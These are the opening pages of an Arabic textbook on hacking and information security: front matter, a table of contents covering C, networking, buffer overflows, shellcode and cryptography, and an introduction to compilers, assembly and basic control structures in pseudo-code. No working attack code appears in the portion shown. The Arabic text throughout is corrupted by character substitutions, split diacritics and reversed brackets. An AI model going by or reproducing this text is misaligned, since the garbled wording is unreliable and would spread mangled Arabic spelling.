You are on page 1of 446

[1]

UNDERSTANDING

HACKING
AND INFORMATION SECURITY
AHMED ALMASHAD

[2]
‫‪ ‬اسم املؤلف ‪ ::‬أمحد املشد‬

‫‪ ‬اسم الكتاب ‪ ::‬القرصنة اإللكرتونية وأمن املعلومات‬

‫‪ ‬النارش ‪ ::‬مؤسسة األمة العربية للنرش والتوزيع‬

‫‪ ‬رقم اإليداع القانوين ‪2017 / 26244 ::‬‬

‫‪ ‬الرقم الدويل ‪978 / 977 / 783 / 405 / 6 ::‬‬

‫‪ ‬دولة النرش ‪ ::‬جهورية مرص العربية‬

‫‪ ‬سنة النرش ‪2017 ::‬‬

‫‪ ‬رقم الطبعة ‪ ::‬الطبعة األوىل‬

‫حتذير ||‬
‫مجيع احلقوق حمفوظة للمؤلف وال يسمح بإعادة نرش ذذا الكتاب لال بمواققة ططية منه‪.‬‬

‫]‪[3‬‬
‫ستتعلم يف ذذا الكتاب ماييل‪:‬‬
‫الربجمه بلغة ال ‪ ،C‬وقهم وحتليل األكواد الربجمية‪.‬‬ ‫‪‬‬
‫شبكات احلاسب‪ ،‬وكيفية برجمة ال ‪ ،Sockets‬ولنشاء اإلتصاالت بني األنظمه‪.‬‬ ‫‪‬‬
‫لجياد ثغرات يف األنظمه واستغالهلا عن طريق ذجامت ال ‪.Buffer Overflows‬‬ ‫‪‬‬
‫استخدام ال ‪ Debuggers‬لفحص ال ‪ Processor Registers‬وال ‪.System Memory‬‬ ‫‪‬‬
‫كيفية التحا ُيل عىل آليات احلاميه اخلاصة بأنظمة التشغيل‪ ،‬واحلصول عىل صالحيات ال ‪ system‬أو ال ‪ root‬عىل األنظمه البعيدة‪.‬‬ ‫‪‬‬
‫طوارزميات وأنظمة التشفري‪ ،‬وحتليلها‪ ،‬وقهم تطبيقاهتا املُتَعدِّ َده‪.‬‬ ‫‪‬‬

‫نقوم يف الباب األول ب َت َع ُّلم قراءة وكتابة األكواد الربجميه‪ ،‬ودراسة أنظمة التشغيل و ُط ُرق تعاطيها مع الربامج‪ُ ،‬‬
‫حيث ُت َعد األساس لبقية‬
‫األبواب‪.‬‬

‫يف الباب الثاين ننتقل لىل عامل الشبكات‪ ،‬لنَتعرف عىل آليات و ُبروتوكوالت الشبكات‪ ،‬وكيفية انتقال البيانات بني األنظمة‪ ،‬بدء ًا من ال‬
‫‪ Application Layer‬وانتها ًء بال ‪ .Physical Layer‬سنتعلم يف ذذا الباب كيف نُو ِّظف ال ‪ Sockets‬و َدوال الشبكات يف لنشاء قنوات‬
‫اإلتصال بني األنظمه‪.‬‬

‫يف الباب الثالث نقوم بتسليط الضوء عىل عمليات اإلطرتاق وتأمني األنظمه‪ ،‬والتعمق أكثر يف بيئة الشبكات‪َ ،‬‬
‫وحتليل ل َبعض أنواع‬
‫اهل َ َجامت باستخدام ال ‪ ،Debuggers‬ونختم بإجراء اطتبار اطرتاق عميل‪.‬‬

‫وأطري ًا‪ ،‬يف الباب الرابع ننتقل لىل علوم تشفري البيانات‪ ،‬لنَتَعرض آلليات حتقيق األمان باستخدام طوارزميات التشفري‪َ ،‬مع دراسه ل َبعض‬

‫األنظ َمة املُتكاملة املُستَخدَ َمة لتوقري املَوثوقية‪ ،‬واخلُصوصية‪َ ،‬‬


‫وسالمة ال َبيانات أثناء انتقاهلا من َمكان آلطر‪.‬‬

‫]‪[4‬‬
Table of Content

I- Programming
1. Introduction...……………………………………………………………………… 13
2. If-Then-Else...…………………………………………………………………....... 17
3. While Loop...………………………………………………………………………. 18
4. For loop……………………………………………………………………………. 19
5. Variables…………………………………………………….................................... 20
6. Arithmetic Operators………………………………………………………………. 22
7. Comparison Operator……………………………………….................................... 24
8. Functions…………………………………………………………………………... 26
9. x86 processor ……………………………………………………………………… 31
10. Arrays…………………………………………………………………………….... 38
11. Signed, Unsigned………………………………………………………………...... 40
12. Pointers………………………………………………………….............................. 41
13. Format Strings……………………………………………………………………... 45
14. Typecasting………………………………………………………………………... 50
15. command-Line Arguments……………….………………….................................. 55
16. Variable Scoping…………………………………………………………………... 56
17. Memory Segmentation…………………………………………………………...... 62
18. The Heap…………………………………………………………………………... 66
19. Void Pointers…………………………………………………................................. 71
20. File Access……………………………………………………................................ 77
21. File Permissions………………………………………………................................ 85
22. User IDs………………………………………………………................................ 87
23. Structs……………………………………………………………………………… 91
24. Function Pointers………………………………………………………………...... 97

II- Networking
1. Introduction...……………………………………………………………………….. 105
2. The OSI Model...……………………………………………………………………. 107
3. The Socket...………………………………………………………………………… 116

[5]
4. Socket Functions……………………………………………………………………. 121
5. Socket Address……………………………………………….................................... 124
6. Big-Endian Byte Ordering………………………………………………………….. 128
7. Conversion between IP and 32-Bit……………………….......................................... 130
8. Error.h Lib…………………………………………………………………………... 132
9. Some Definitions……………………………………………………………………. 137
10. Server Example……………………………………………………………………... 138
11. The Browser……………………………………………………………………….... 148
12. The Big Picture…………………………………………………................................ 151
13. Layer 2 (Data-Link)…………………………………………………………………. 152
14. …Optaining an address…………….….……………………………………………. 153
15. …ARP Messages……………………………………………………………………. 155
16. …Sending packet outside the domain………………………………………………. 157
17. Layer 3 (Network)…………………………………………………………………... 158
18. …IP Header………..………………………………………………………………... 158
19. …IP Fragmentation..………………………………………………………………... 161
20. Layer 4 (Transport)……………….………………………….................................... 163
21. …Multiplexing & Demultiplexing………...………………………………………... 163
22. …TCP Header……..………………………………………………………………... 165
23. …TCP Three-way Handshake…..…………………………………………………... 168

III- Security & Attacks


1. Introduction...……………………………………………………………………….. 175
2. Computer Security...………………………………………………………………… 177
3. The Rings...…………………………………………………………………………. 178
4. Operational States…………………………………………………………………… 180
5. Technical Mechanisms……………………………………….................................... 182
6. …Layering, Abstraction, Data Hiding, and Process Isolation……………………… 182
7. Network Sniffing……………………………………………………………………. 186
8. Building our Sniffer………………………................................................................. 188
9. Libpcap Sniffer……………………………………………………………………… 191
10. Layer Analysis………………………………………………………………………. 197
11. …Ethernet Header…………………………………………………………………... 197
12. …IP Header……..…………………………………………………………………... 200
13. …TCP Header…..…………………………………………………………………... 202
14. The Decoder Sniffer………………………………………………………………… 205

[6]
15. …The Conclusion………………………………………………………………….... 224
16. ARP Poisoning Attack....….……………………………………………………........ 225
17. …Inside Nemesis Tool……………………………………………………………... 229
18. Buffer Overflow……………………………………………….................................. 243
19. The Stack……………………………………………………………………………. 247
20. Stack Overflow……………………………………………………………………… 253
21. Putting Things all Together…………………………………………………………. 265
22. …Preparing and Sending our Buffer………………………………………………... 266
23. …Binary Tree Analysis……………………………………………………………... 269
24. …Locating Space for our Shellcode………………………………………………... 274
25. …Redirecting Execution Flow……………………………………………………… 277
26. …Getting the Shell…………………………………………………………………. 279
27. Protection Mechanisms………….…………………………...................................... 283

IV- Cryptography
1. Introduction...……………………………………………………………………….. 291
2. Cryptography...……………………………………………………………………… 295
3. …Substitution...……………………………………………………………………... 298
4. …Transposition……………………………………………………………………... 300
5. Symmetric Cryptography…………………………………........................................ 301
6. …Stream Ciphers…………………………………………………………………… 304
7. …Block Ciphers………………………...................................................................... 307
8. …AES Cryptosystem……………………………………………………………….. 309
9. ……Encryption Process…………………………………………………………….. 312
10. ………SubBytes…..……..………………………………………………………….. 314
11. ………ShiftRows………..………………………………………………………….. 318
12. ………MixColumns……..………………………………………………………….. 319
13. ………AddRoundKey…...………………………………………………………….. 320
14. ……Key Schedule…………………………………………………………………... 322
15. Asymmetric Cryptography…………………………………………………….......... 332
16. …Goals of Cryptography…………………………………………………………… 334
17. ……Confidentiality..………………………………………………………………... 334
18. ……Integrity………………………………………………………………………... 335
19. ……Authentication..………………………………………………………………... 336
20. ……Nonrepudiatin…...……………………………………………………………... 338
21. …RSA………………………………………………................................................. 341

[7]
22. ……RSA Algorithm………………………………………………………………… 344
23. Cryptographic Hash Functions……………………………………………………… 356
24. …Message Authentication………………………………………………………….. 358
25. …Confidentiality, Authentication, and Signature....................................................... 366
26. …Message Authentication Code (MAC)…………………………………………… 370
27. …Digital Signature…………………………………………………………………. 373
28. ……Digital Signature Standard (DSS)……………………………………………... 377
29. Key Distribution…………………………………………………….......................... 380
30. …Using Symmetric Key Encryption…………………………………….................. 381
31. …Using Asymmetric Key Distribution…………………………………................... 384
32. Distribution of Public Keys…………………………………………………………. 386
33. …Using Public-Key Authority…………………………………................................ 386
34. …Using Public-Key Certificate.....……………………………................................. 388
35. Inside Secure Socket Layer (SSL)…………………………………………………... 391
36. Perfect Forward Secrecy (PFS)…..……………………………................................. 407
37. Success Algorithms……………………………………………................................. 418
38. References…………………………………………………………………………... 424
39. Appendixes.……………………………………………………................................. 425

[8]
‫‪About the Author‬‬
‫أمحد املشد‬
‫بالسعادة أثناء تَعا ُميل مع‬
‫كت ذلك عندما وجد ُت نفيس أش ُعر َ‬ ‫أحببت الكمبيوتر ُمذ كُن ُت صغري ًا‪َ ،‬‬
‫أدر ُ‬ ‫ُ‬
‫برامج التصميم والتطوير املختلفة‪ُ ..‬ثم بدأت بال َت َع ُّمق أكثر عندما ك َُربت ألذتم بالشبكات‪ ،‬وأمن‬
‫املعلومات‪ ،‬وأنظمة التشغيل‪.‬‬
‫تواصل معكم‪..‬‬
‫ُسين ال ُ‬
‫َي ُ ّ‬
‫‪a.almashad@gmail.com‬‬

‫‪Acknowledgement‬‬
‫ب أن أشكر السيد‬ ‫أبدأ ب ُشكر اهلل تَعاىل عىل ن َعمه ال َعديدَ ة‪ ،‬وعائلتي وأصدقائي‪ ،‬وكُل َمن َت َع ّل ُ‬
‫مت من ُه‪ .‬وأح ُ‬
‫‪ ،Jon Erickson‬المتالكه َموذ َبة قريدة!‪َ ،‬ظ َه َرت يف كتابه َ‬
‫الشهري‪..“Hacking, The art of exploitation” :‬‬

‫مادقعني القتباس بعض األكواد الربجمية من ُه ألقوم بتحليلها ورشحها يف كتايب‪ ،‬كَام استعنت ب َبعض املؤلفات األُطرى‬
‫تخصصني ِبذا املَجال‪.‬‬
‫و ُمدونات ا ُمل ِّ‬
‫من املعلوم أنه لن تَع ّلمنا ال ُعلوم ب ُل َغتنا األُم‪َ ،‬سنكون أشد قو ًة َو َقه ًام ملا َنتَلقاه‪َ ،‬قهذه َطبيعة لنسانية!‪ ،‬لكننا نَضطر لىل‬
‫التعلم باللغات األجنبية لفقر ا َملوارد لدينا‪ ..‬وهلذا أمتنى أن ُنساذم يف لثراء ال ُعلوم بلغتنا العربية‪ ،‬بمنهجية ج ّيدة‬
‫و ُأسلوب ُمبسط‪.‬‬

‫]‪[9‬‬
‫‪What you need for this book‬‬
‫أنك عىل دراية بأساسيات الكُمبيوتر العامة‪ ،‬وبا َملفاذيم األساسية للشبكات‪ ،‬كا ُملتو ِّقرة يف َم َنهج‬
‫فرتض َ‬
‫ذذا الكتاب َي َ‬
‫شهادة ”‪ ،“Network+‬وبعض ا َملعر َقة بأنظ َمة التشغيل م َ‬
‫ثل ‪ Windows‬و ‪.Linux‬‬

‫‪Preface‬‬
‫يف ذذا الكتاب نقوم بتسليط الضوء عىل القرصنة اإللكرتونية وأمن املعلومات‪ ،‬وحتى نتمكن من رشح قلسفة‬
‫اإلطرتاق أو تأمني البيانات واألنظمة‪ ،‬قنحن بحاجة لإلملام بعدة أمور حتضريية‪ ،‬تبدأ بمعرقة ال ‪Computer‬‬

‫‪ Architecture‬وأنظمة التشغيل )‪ Windows‬و ‪ ،(Linux‬والفهم اجليد لربوتوكوالت الشبكات وتكنولوجيا التشفري‪،‬‬


‫وبعض لغات الربجمة َك ُلغة ال ‪ ،C‬و ‪ Scripting language‬كال ‪.Python‬‬
‫يتدرج الكتاب يف تناول ذذه األمور بشكل ذرمي‪ ،‬يبدأ بتبسيط أساسيات الربجمة ومبادئ ال ‪Computer‬‬

‫‪ Architecture‬للقارئ‪ ،‬حيث تعد األساس لبقية األبواب‪ ،‬ثم ينتقل لىل علوم الشبكات وآلية انتقال البيانات بني‬
‫األنظمة‪ ،‬ثم يتعمق أكثر ليبدأ برشح وحتليل آليات اإلطرتاق واحلامية‪ ،‬وخيتم بعلوم التشفري الالزمة لتحقيق‬
‫اخلصوصية والسالمة واملوثوقية‪.‬‬
‫تسلسيل‪ ،‬لكن بإمكانك التنقل كام تشاء داطل‬
‫ُ‬ ‫تم لعداد موضوعات الكتاب بحيث تكون ُمعتمدة عىل بعضها بشكل‬
‫الكتاب لذا كنت ُمل ًام باألساسيات املطلوبة‪.‬‬

‫]‪[10‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Part I
Programming

Programming
[11]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Programming
[12]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Introduction‬‬

‫ُصحح مفهوم القرصنة عند الكثري!‪:‬‬ ‫ُأ ُ‬


‫حب أن أبدأ بمقولة أعجبتني‪ ..‬عبارة عن أحد التعريفات التي ت ِّ‬
‫”!‪“Hacker is a term for both those who write code, and those who exploit it‬‬

‫عىل الرغم من اطتالف أذداف كل منهم لال أهنم يف النهاية لدهيم نفس التكنيك يف ال َتغ ُّلب عىل ا َملشاكل!‪ ،‬ألن ُه‬

‫ببساطة‪َ ..‬قهم َ‬
‫الرب َجمة ُمهم ملن ُيريد التحا ُيل عىل األنظمة‪ُ ،‬يساعد ُه عىل اكتشاف األططاء الربجمية والثغرات األمنية‪،‬‬

‫وعىل اجلانب اآلطر‪ ..‬الفهم لسبب حدوث ذذا االطرتاق (الثغرة نفسها أو اخلطأ الربجمي) سينفع املُربمج أو ُم ِّ‬
‫صمم‬
‫الرشط األسايس‬ ‫علم ُه أكثر حتى يتفحص أكواده و لعدادات األجهزة لديه‪ .‬وبام أن َقهم َ‬
‫الرب َجمة ُذو َ‬ ‫وس ُي ُ‬
‫النظام األمني َ‬
‫سوف نبدأ ب َرشح ُم َب ّسط ل َبعض األساسيات التي‬
‫َ‬ ‫ني األنظمة َوالربوتوكوالت‪َ ،‬ق‬
‫َيف تَسري األمور َب َ‬
‫فهم ك َ‬
‫حتى َت َ‬
‫ُنت ُحتب الربجمة أم ال!‪.‬‬
‫َستحتاجها بغض النظر عن ما ك َ‬

‫ذيا لنبدأ رحلتنا‪..‬‬


‫جل َمل َمكتوبة ب ُلغة ُمعينة‪ ،‬يف الواقع ليست الربامج قحسب! قهناك‬
‫الربنامج ذو عبارة عن جمموعة من األس ُطر أو ا ُ‬
‫ً‬
‫وذلك باتباعك خلطوات‬ ‫أمور كثرية حولنا مبنية عىل مفهوم الربجمة‪ ،‬مثالً قيادتك للسيارة تُعد من األمور ا ُمل َ‬
‫ربجم َة ُمسبَق ًا‬
‫ُحمَد َدة عند القيادة‪ ،‬أيض ًا وصفات الطبخ‪ ،‬وأطري ًا رياضة كُرة القدم‪ ،‬يتحقق قيها اهلدف بحدوث جمموعة من‬
‫اإلحتامالت‪ ،‬تنتهي بوضع الكُرة داطل الشبكة‪.‬‬

‫ذذا ُُمتاز!‪ ..‬لنعود لىل الكمبيوتر‪..‬‬

‫‪Programming‬‬
‫]‪[13‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫من البدهيي أنه كي نجعل الكمبيوتر يقوم بيشء ما قعلينا أن نكتب ل ُه ال ‪ Instructions‬بلغة يفهمها‪ ،‬وذي‬
‫ال ‪ ،Machine Language‬لكنها صعبة الفهم!‪ ..‬ألهنا عبارة عن ‪ Bits, and Bytes‬وختتلف من ‪Architecture‬‬

‫آلطر‪ .‬ولكي نتغلب عىل أزمة الكتابه بال‪ Machine Language‬ظهر لنا ال ‪ Assembler‬وذو عبارة َعن ‪Translator‬‬

‫يقوم ب َرتمجة ال‪ Assembly Instructions‬اىل ال ‪ .Machine Language‬تُعد ُلغة ال ‪ Assembly‬أبسط من‬
‫ال ‪َ ،Machine‬قهي تَستَخدم كَلامت وعناوين مفهومة ب َعكس ال ‪ Machine‬التي تتكون من أرقام ققط!‪ .‬لكنها تتشابه‬
‫مع ال ‪ Machine‬يف أهنا ختتلف أيض ًا باطتالف نوع ال ‪.Architecture‬‬

‫َع َرقنا أننا بحاجة لىل ‪ Translator‬للتحويل من ال ‪ Assembly‬لىل ال ‪ ،Machine Language‬وذي اللغة التي‬
‫فه َمها‪ ..‬واآلن ذل سنكتُب األكواد بال ‪Assembly‬؟‪َ ،‬س َيكون األمر صعب ًا أيض ًا!‪ ،‬نَح ُن‬
‫يستطيع ال ‪ CPU‬أن َي َ‬
‫بحاجة لىل ‪ Translator‬من نوع آطر ليُرتجم َلنا ما نَك ُتبُه من أكواد بلغات مثل ُلغات ال ‪ C, C++‬لىل ال ‪Machine‬‬

‫‪..‬ذنا سيكون ال ‪ Translator‬ذو ال ‪.Compiler‬‬


‫‪ُ ،Language‬‬

‫لذ ًا‪ ..‬يقوم ال ‪ Compiler‬برتمجة األكواد بلغة ال ‪ C‬لىل ُلغة اآلله وبنا ًء عىل نوع ال ‪Processor Architecture‬‬

‫فُس اذتامم ا ُملربجمني بال ‪ Source Code‬ألنه األساس لنجاح الربنامج!‪ ،‬ولكن ال ‪ُ Hacker‬ذنا‬
‫املوجود‪ ،‬وذذا ما ُي ِّ‬
‫َيعي أن ال ‪ Compiled Program‬ذو الذي سيتعامل يف هناية املطاف مع ال ‪ ،CPU‬و بالفحص اجليد لكيفية تعامل‬
‫ال‪ CPU‬وال ‪ Memory‬مع ذذا الربنامج‪ُ ،‬ربام يتمكن من اكتشاف ثغرة يف الربنامج أو ال ‪ُ Application‬متكن ُه حينها‬
‫من لحداث ‪ crash‬له‪ ،‬وربام يقوده ذذا ال ‪ crash‬لىل حماولة توجيه ال ‪ execution flow‬ألماكن أطرى داطل ال‬
‫‪ memory‬حيث يضع ِبا جمموعة من ال ‪ instructions‬نُسميها ‪ ،shellcode‬ليقوم ال ‪ CPU‬بتنفيذذا بدالً من استكامل‬
‫تنفيذ الربنامج!‪.‬‬

‫‪Programming‬‬
‫]‪[14‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يؤكد عىل ذذا األمر السيد "‪َِ "Dave Aitel‬بذه العبارة‪:‬‬


‫‪“Hacking is not reverse engineering!, your goal is not to come up with original source code for‬‬
‫‪the application!, your goal is to have a greater understanding of the program or system than the‬‬
‫‪people who built it”.‬‬

‫تم تطوير تقنيات أمنية ملنع ُحماوالت التَال ُعب َذذه‪ ،‬منها ‪ ،SafeSEH‬وال ‪ Nonexecutable Stack‬أو ال‬
‫‪ ،Randomized Stack Space‬وقامت مايكروسوقت بتطوير تقنية شهرية‪ ..‬ذي ”‪ ،“DEP‬وغريذا من التقنيات‬
‫األمنية التي س َيجري ُمناقشتها الحق ًا يف الباب الثالث بإذن اهلل‪.‬‬
‫ذذا رائع!‪ ..‬ولكن ماذا َسنَستفيد من ُل َغة ال ‪..Assembly‬؟‪ ،‬لذا كُنا ققط َسنَستَخدم ال ‪ Compiler‬ل َ َ‬
‫رتمجة مانُريد لىل‬
‫ال ‪ Machine Language‬وينتهي األمر!‪.‬‬
‫نعم‪ ..‬ذذا منطقي‪ ،‬ولكن دعني أوضح بعض اخلصائص ل ُل َغة ال ‪ Assembly‬والتي َستَجعلك تَعي وحدَ ك أمهيتها‪.‬‬

‫طري َقة يستَخد ُمها املُربجمني الستعراض ال"‪"Machine Language Instructions‬‬


‫عترب َ‬
‫‪ ‬ال ‪ُ Assembly‬ت َ‬
‫التي تَم لعطاؤذا لىل ال ‪.CPU‬‬

‫‪ ‬ال ‪ Assembly‬تتعامل ب َعالقة ‪ One-to-One‬مع ال ‪ ،Machine Language‬بمعنى أنه لكُل ‪Instruction‬‬

‫ب ُلغة ال ‪ُ Machine‬يقابلها ‪ Instruction‬ب ُل ُغة ال ‪ Assembly‬يوضح ُه ب َطريقة أسهل لتَفهم ك َ‬


‫َيف َيتعامل ال‬

‫عمل عليه!‪ ،‬وكَمثال‪ "0xc3" ..‬أو ‪ 11000011‬ب ُلغة اآللة ُيقابل ُه بال‬
‫‪ CPU‬بالفعل َم َع الربنامج الذي َي َ‬
‫‪ Assembly‬ذذه الكَل َمة‪ "ret" :‬ب َمعنى )‪.(return‬‬

‫‪Programming‬‬
‫]‪[15‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وكيف نُطبق ذذا األمر؟‬


‫َ‬
‫سمى بال ‪ Disassembler‬والذي يقوم بإعادة ترمجة ال ‪ Machine Language‬لىل لغة ال ‪Assembly‬‬
‫ُذنا نَستَخدم ما ُي ّ‬
‫كي َيس ُهل الفهم والتحليل‪.‬‬

‫تأمل معي ذذه الصورة ستوضح لك مغزى‬


‫األمر‪..‬‬
‫ذذه الصورة توضح لنا مايقوم به كل من ال‬
‫‪ malware author‬حيث يكتب أكواده بلغه‬
‫مثل ال ‪ ،C‬بينام يرتكز عمل ال ‪malware‬‬

‫ال‬ ‫وتدقيق‬ ‫قحص‬ ‫يف‬ ‫‪analyst‬‬

‫‪ instructions‬أو ال ‪software behavior‬‬

‫باستخدام ال ‪ Hex Auditors‬كال ‪ IDA Pro‬وغريذا‪.‬‬


‫ما نُريد ُه من ذذا الشكل ذو الرتكيز عىل وظيفة ك ٍ‬
‫ُل من ال ‪ Compiler‬و ال ‪.Disassembler‬‬

‫لىل ُذنا نكون وصلنا لنهاية ذذه ا ُملقدمة‪ ،‬والتي كان ذدقها حتفيزك إلدراك أمهية الربجمة!‪ ..‬ذل أدركت ذلك؟‪ ،‬جيد!‪..‬‬
‫ذيا لذ ًا لنبدأ برشح أساسيات الربجمة ب ُل َغة ال ‪.C‬‬

‫‪Programming‬‬
‫]‪[16‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Control Structures‬‬

‫موعة م َن ال ‪ Instructions‬التي يتم تنفيذذا تباع ًا‪ ،‬ولكن ما العمل لذا ظهرت‬
‫من الطبيعي أن الربنامج يتكون من َجم َ‬
‫بعض اخليارات أو العقبات أثناء التعامل مع املُستَخدم؟ لنَرضب مثال من واقع احلياة‪َ ،‬‬
‫أنت أثناء قيا َدتك للسيارة‪،‬‬
‫ُيمكنُك تفعيل ال ‪ GPS‬قيقوم ب َرسم َمسار ُحمَدد للوج َهة‪ ،‬ولكن لذا ِس َت يف طريق طاطئ أو وجدت أحد الشوارع‬
‫الرب َجم َة‪َ ،‬قنَت ََحكم ب َخط‬
‫َحن أيض ًا نستَخدم نفس التكنيك يف َ‬
‫مسدوده قسيقوم ال ‪ GPS‬بتغيري ال ‪ Route‬عىل الفور!‪ ،‬ن ُ‬
‫َسري ال ‪ Instructions‬وقق ًا ملا نُق ِّرره وملا َيقتضيه ا َملوقف‪ .‬سنتكلم عن بعض ال ‪ Statements‬التي تقوم بعمل ال‬
‫للربامج بتَطبيق مثال قيادة السياره‪.‬‬
‫"‪َ "Control‬‬

‫‪If-Then-Else‬‬

‫دعنا نتصور أننا نسري يف شارع رئييس‪..‬‬


‫صادف تواجد بعض اإلصالحات يف الشارع )‪..(Condition‬‬
‫َ‬ ‫‪ ‬قإن)‪(If‬‬

‫‪ ‬لذ ًا )‪ ،(Then‬سنقوم بتنفيذ بعض ال ‪ Instructions‬لتفادي ذذا العائق!‪..‬‬

‫‪ ‬غري ذلك )‪ُ ،(Else‬قم باستكامل سريك طاملا مل تُصادف اإلصالحات )‪.(Condition‬‬

‫‪If (condition) then‬‬


‫{‬
‫;‪Set of instructions to execute if the condition is met‬‬
‫}‬
‫‪Else‬‬
‫{‬
‫;‪Set of instruction to execute if the condition is not met‬‬
‫}‬

‫‪Programming‬‬
‫]‪[17‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪While/Until Loop‬‬

‫أحيان ًا ُيريد املُربمج تنفيذ جمموعة من ال ‪ Instructions‬أكثر من مرة!‪ ،‬وستحتاج أن تضع له ال ‪ Condition‬التي‬
‫سيقوم بنا ًء عليها بتنفيذ التكرار‪.‬‬
‫لنأطذ ذذا املثال‪:‬‬
‫"لن أصابك اجلوع‪ ،‬لذذب واحصل عىل الطعام ثم التهمة"‪ ..‬ينتهي القوس الثاين ){( قيعود ال ‪ Pointer‬لىل البداية‬

‫قيتحقق من الرشط مر ًة أطرى‪ ..‬ذل الزلت جائع؟ ‪..‬ال!‪ ،‬لذ ًا َسن ُ‬


‫َخرج طارج الدالة‪.‬‬

‫)‪While (you are hungry‬‬


‫{‬
‫;‪Find some food‬‬
‫;‪Eat the food‬‬
‫}‬

‫واآلن‪ ..‬ذل قهمت داللة الكود املكتوب عىل الكوب املوجود يف صفحة عنوان ذذا الباب؟‪.‬‬
‫دالة ‪ Until‬ذي نفس ال ‪ While‬ولكن برشط معكوس!‪ ،‬أي أنه‪:‬‬
‫لطاملا أنك مل تشبع بعد!‪ ،‬استمر باألكل‪.‬‬

‫)‪Until (you are not hungry‬‬


‫{‬
‫;‪Find some food‬‬
‫;‪Eat the food‬‬
‫}‬

‫‪Programming‬‬
‫]‪[18‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪For Loop‬‬
‫نستخدمها أيض ًا عند احلاجه لتكرار ٍ‬
‫يشء ما ل َعدَ د م َن املَ ّرات‪ .‬كأن نُخرب الربنامج بالقيام بعدّ ة ططوات‪ ،‬ذذه اخلطوات‬

‫َس ُيكَررذا ل َعدَ د من املَ ّرات َسن ُ‬


‫ُخربه ِبا‪ .‬وبعد انتهاء عدد املرات سيقوم باخلروج من الداله‪ .‬ماييل مثال لتوضيح ذذه‬
‫الدالة‪ ،‬عباره َعن كود ُيعطي األمر لقيادة املَر َك َبة ملَساقة ََخ َسة كيلو مرتات‪َ ،‬سنقوم بتطبيقه باستخدام ٍ‬
‫كل من ‪ While‬و‬
‫‪.For‬‬

‫)‪For (5 iterations‬‬
‫;‪Drive straight for 1 mile‬‬

‫ُذنا َستَقوم بقيادة السياره ملَسا َقة ميل واحد‪ُ ،‬ثم تقوم بالسري مليل آطر‪ُ ،‬ثم ميل ثالث‪ ،‬وذكذا لىل أن تصل لىل امليل‬
‫اخلامس‪.‬‬
‫ذذا شكل الدالة ب ُلغة ال ‪:C‬‬
‫)‪For (i=0; i<5; i++‬‬
‫;‪Drive straight for 1 mile‬‬

‫سنُشاذد مع ًا كيف نقرأ ذذا الكود‪ ،‬ألنه سيتكرر كثري ًا الحق ًا‪..‬‬
‫َستَد ُطل بقيمة )‪ (i = 0‬ثم تقود ملساقة ميل واحد‪ ،‬قتزداد قيمة ‪ i‬بواحد‪ ،‬قيكون (‪ ،)i = 1‬ثم تُقارنه بالرقم ‪ ،5‬ذل ذو‬
‫أصغر؟‪ ،‬نعم!‪ ،‬اذذب لتقود مساقة ميل آطر‪ ،‬ثم قم بتنفيذ ‪ i++‬قيكون (‪ ،)i = 2‬واآلن قارن ُه بالرقم ‪ ،5‬ثم ُعد للقيادة‪،‬‬
‫استمر لىل أن تكون قيمة ‪ i‬تساوي ‪ ،5‬قنُقارهنا بالرشط (‪ )i < 5‬قنجد أنه مل يتحقق!‪ ،‬قنخرج طارج الدالة‪.‬‬

‫‪Programming‬‬
‫]‪[19‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫واآلن سنُط ّبق نفس الرشط باستخدام ‪While‬‬


‫;‪Set the counter to 0‬‬
‫)‪While (the counter is less than 5‬‬
‫{‬
‫;‪Drive straight for 1 mile‬‬
‫;‪Add 1 to the counter‬‬
‫}‬

‫ُذنا سنقوم بتصفري العداد (‪ ،)0‬ثم القيادة ملساقة ميل واحد‪ ،‬وزيادة العداد بقيمة واحد ليصبح (‪ )1‬ثم العودة للدالة‬
‫ومقارنة الرقم ب ‪ 5‬قنجد أنه أقل‪ ،‬قنعود للسري بمساقة ميل آطر وزيادة العداد ليصبح (‪ )2‬وذكذا حتى الوصول‬
‫للرقم (‪ )4‬قتكون النهاية‪.‬‬

‫‪Variables‬‬

‫يمة ُحمدّ َدة‪ ،‬ال ُبد من حتديد نوع املُتغري قبل استخدامه‪ ،‬ذذا ُمشابه‬
‫املتغري ذو عبارة عن لناء ُيمكنُنا أن ن ََضع بداطله ق َ‬
‫لص َقه عليها‪ .‬ذذا ا ُملتغري ربام ال حيتفظ‬
‫ُلزجاجات املرشوبات والعصائر! نستطيع متييزذا بوجود الكتابة أو الصور ا ُمل َ‬
‫ِبذه القيمة بداطله اىل األبد‪ُ ،‬يمكننا تَغيريذا‪ ،‬أو اإلضاقة عليها‪ ،‬أو نَط َرح منها‪ ،‬قتم لطالق عليه لفظة "متغري"‪ ،‬ماييل‬
‫تعريفه املوجز باللغه اإلنجليزية‪:‬‬
‫”‪“An object that holds data that can be changed‬‬
‫برجمي ًا‪ ،‬جيب علينا أن نَذكُر اسم ا ُمل َت َغ ِّري ون َُحدِّ د نَوعه )‪ (declare your Variable‬ما لذا كان سيحوي حروق ًا أو أرقام‬
‫مث ً‬
‫ال‪ .‬جيب أن يتم ذلك قبل أن تقوم باستخدامه داطل برناجمك‪ ،‬كام احلال مع وصفات الطبخ‪ ،‬قنحن ُن َع ِّرف ونَذكُر‬
‫ا َملقادير بأسامئها وأنواعها قبل الرشوع بالطهي‪.‬‬

‫‪Programming‬‬
‫]‪[20‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ٍ‬
‫مكان ما داطل ال ‪ ،Memory‬سنتكلم عن ذذه األماكن بالتفصيل قيام بعد‪.‬‬ ‫ذذه املتغريات يقوم اجلهاز بتخزينها يف‬
‫ماييل بعض أنواع ال ‪:variables‬‬
